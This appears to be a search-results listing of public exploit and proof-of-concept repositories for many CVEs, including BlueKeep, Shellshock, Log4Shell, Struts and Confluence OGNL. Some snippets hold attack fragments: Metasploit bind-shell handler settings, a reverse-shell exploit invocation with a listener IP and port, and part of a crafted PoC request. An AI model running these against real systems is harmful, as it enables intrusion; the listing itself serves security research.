319786 matches found
CVE-2019-0708-Msf--
CVE-2019-0708 未认证的 CVE-2019-0708 "BlueKeep" 扫描器 PoC，作者 @JaGoTu 和 @zerosum0x0。 技术细节：https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit 模块 Metasploit 模块已合并到 rapid7:master。 msf5 use auxiliary/scanner/rdp/cve20190708bluekeep...
goahead-rce-exploit
GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337 随后，在另一个终端中运行此 Exploit，发送...
Shellshock_vuln_Exploit
🚨 Shellshock RCE 漏洞利用工具 CVE-2014-6271 这是一个针对 Shellshock 漏洞 CVE-2014-6271 的 Python 利用工具，该漏洞影响 GNU Bash 。此工具攻击易受攻击的 Web 服务器上的 CGI 脚本 ，并建立到攻击者机器的 反向 shell 。 CVE ID CVE-2014-6271 免责声明 此工具仅可用于 教育和道德目的 。 功能特性 利用易受攻击的 CGI 脚本（通过 Shellshock） 反向 shell 处理程序 支持： HTTP 和 HTTPS 自定义 CGI 路径 代理支持 成功时提供交互式 shell CV...
drupalgeddon2-CVE-2018-7600
Drupal - Drupalgeddon2 CVE-2018-7600 $ python3 drupalgeddon.py -h + drupalgeddon2 CVE-2018-7600 exploit by Rafael Caria usage: drupalgeddon.py -h --url URL --command COMMAND --function FUNCTION --test --proxy PROXY ! This script exploits CVE-2018-7600 a Drupal property injection in the Forms API...
cve-2021-42013
Apache 2.4.50 - 路径遍历或远程代码执行 CVE-2021-42013.py 是一个 Python 脚本，用于检测 Apache 2.4.50 中的路径遍历或远程代码执行漏洞。提供了一个存在漏洞的 Docker 实例，方便您动手实践 CVE-2021-42013。 如果启用了 CGI-BIN，则可以执行远程代码（但不能执行路径遍历），因此为了检查路径遍历漏洞，已在 httpd.conf 的 Alias 部分添加了 "icons" 目录。 httpd.conf 中的漏洞配置 1. 启用 CGI-BIN 2. 在 Alias 部分添加 "icons" 目录 3. Require...
Apache-Struts-v4
Apache-Struts-v4 该脚本包含5种不同的漏洞，它们利用Apache Struts中的RCE类型漏洞。目前仅支持创建PHP shell的功能。 CVE 列表 CVE ID| 描述 ---|--- CVE-2013-2251| Apache Struts 2.0.0 至 2.3.15 允许远程攻击者通过带有精心构造的 1 action:、2 redirect: 或 3 redirectAction: 前缀的参数执行任意 OGNL 表达式。 CVE-2017-5638| Apache Struts 2 2.3.x 之前 2.3.32 和 2.5.x 之前 2.5.10.1 中的...
log4j-log4shell-affected
log4j-log4shell-受影响组件列表 针对 CVE-2021-44228（又称 Log4shell 或 Log4j RCE）的受影响组件与受影响应用/厂商清单，供安全响应人员使用。 我们认为有必要将厂商和产品分为两类： 1. 内部风险 ——需要优先修补以消除内部风险的部分 2. 外部风险 ——所有可能已被入侵的、保管您数据的第三方/第四方厂商；在完成内部修补后，需要监控并处理的那些 以下是清单： 外部风险 - 受影响的应用 即：如果您的数据存储在其环境中，或者它们可访问您的环境，那么您应当关注的所有厂商。 内部风险 - 受影响的组件...
CVE-2024-9932-POC
CVE-2024-9932-POC 描述： Wux Blog Editor WordPress 插件存在任意文件上传漏洞，原因是 wuxbtinsertImageNew 函数对文件类型验证不足。受影响版本包括 3.0.0 及更早版本。该漏洞允许未经身份验证的攻击者向服务器上传任意文件，可能导致远程代码执行 RCE。 漏洞详情 该漏洞源于 wuxbtinsertImageNew 函数对文件类型验证不当，攻击者可在无需身份验证的情况下向服务器上传恶意文件。 攻击场景： 攻击者识别使用该易受影响插件的网站。 利用文件上传功能上传恶意 PHP 后门文件。 在被入侵的服务器上执行命令。 用法...
Apache-spark-CVE-2022-33891
Apache-spark-CVE-2022-33891 Apache Spark RCE - CVE-2022-33891 PoC 关注我们 Vulnmachines平台 YouTube Twitter Facebook LinkedIn...
coreweave-demo-2026-05
Gogs Gogs 是一款极易搭建的自助 Git 服务。 项目愿景 Gogs（/gɑgz/）项目旨在打造一个以最简便的方式搭建简单、稳定和可扩展的自助 Git 服务。使用 Go 语言开发使得 Gogs 能够通过独立的二进制分发，并且支持 Go 语言支持的 所有平台 ，包括 Linux、macOS、Windows 和基于 ARM 的操作系统。 概览 请移步官网查看用户使用文档 请通过 CHANGELOG.md 文件查看各个版本的变更历史 想要先睹为快？直接去在线体验吧！ 使用过程中遇到问题？尝试故障排查或者前往用户论坛获取帮助 希望帮助多国语言的翻译吗？请查看本地化文档...
CVE-2024-53677-S2-067
🚨🚨 CVE-2024-53677-S2-067🚨🚨 安全公告：CVE-2024-53677 – Apache Struts 严重远程代码执行漏洞 公告日期：2024年12月14日 CVE ID：CVE-2024-53677 CVSS 评分：9.5（严重） 概述 已在广受欢迎的 Apache Struts 框架中发现一个严重漏洞 CVE-2024-53677，该漏洞可能允许攻击者远程执行任意代码。此漏洞源于文件上传逻辑中的缺陷，可被利用来进行路径遍历和恶意文件上传。 该漏洞影响特定版本的 Apache Struts，开发人员和管理员需要立即予以关注，以降低被利用的风险。 受影响版本 以下...
Graver
Graver Descripción Script de prueba de concepto para explotar la SSTI+RCE autenticada en Grav CMS CVE-2024-28116. Crea una página RCE maliciosa en el servidor que ejecuta el Grav CMS vulnerable. Referencias: https://nvd.nist.gov/vuln/detail/CVE-2024-28116 Notas Dado que es una vulnerabilidad...
Optiva-Framework
Optiva-Framework 🕵️ Escáner de Aplicaciones Web 💉 Autor : Joker-Security dev-labs ✔️ Descripción : Puede usar este Framework en su sitio web para verificar la seguridad de su sitio web encontrando vulnerabilidades en él, o puede usar esta herramienta para buscar panel de administración, inyección...
GPON_RCE
GPONRCE 用于GPON家庭路由器远程代码执行的漏洞利用工具（CVE-2018-10562），使用Python编写。...
CVE-2022-26134
CVE-2022-26134 - OGNL 注入漏洞 本概念验证脚本利用影响 Atlassian Confluence 7.18 及更低版本产品的远程代码执行漏洞。该 OGNL 注入漏洞允许未经身份验证的用户在 Confluence Server 或 Data Center 实例上执行任意代码。 受影响版本 所有受支持的 Confluence Server 和 Data Center 版本均受影响。 Confluence Server 和 Data Center 在 1.3.0 之后、7.18.1 之前的版本均受影响。 该漏洞的 CVSS 评分为 10 分（满分 10 分），严重性极高。...
CVE-2022-24637
CVE-2022-24637 Open Web Analytics OWA - 未认证远程代码执行 https://vulners.com/cve/CVE-2022-24637 示例 python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...
my-CVE-2021-1675
= Print Nightmare 分析报告 :imagesdir: Figures :toc: :icons: font :figure-caption: 图 :xrefstyle: short :pdf-theme: basic-theme.yml 2021 年 6 月 29 日，一个非常严重的 Windows 打印服务漏洞作为 0day 被曝光，漏洞基础评分 8.8 分，发布于 GitHub 上（现已删除）。 该漏洞就是著名的 PrintNightmare: CVE-2021-34527，危险程度甚至高于永恒之蓝。 == 漏洞基本信息 34527 漏洞几乎作用于 Windows...
F5-Big-IP-CVE-2022-1388
F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP 未授权远程代码执行 PoC 关注我们 Vulnmachines YouTube Twitter Facebook LinkedIn...
CVE-2021-23758-POC
CVE-2021-23758-POC 此仓库是为学习 AjaxPro 中的漏洞而创建的，该漏洞的披露编号为 CVE-2021-23758。 POC POST /ajaxpro/CVE202123758POC.demo,CVE202123758.ashx HTTP/2 Host: localhost:44375 Content-Length: 567 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="96" X-Ajaxpro-Method: TestAjax Content-Type: text/plain; charset=UTF-8...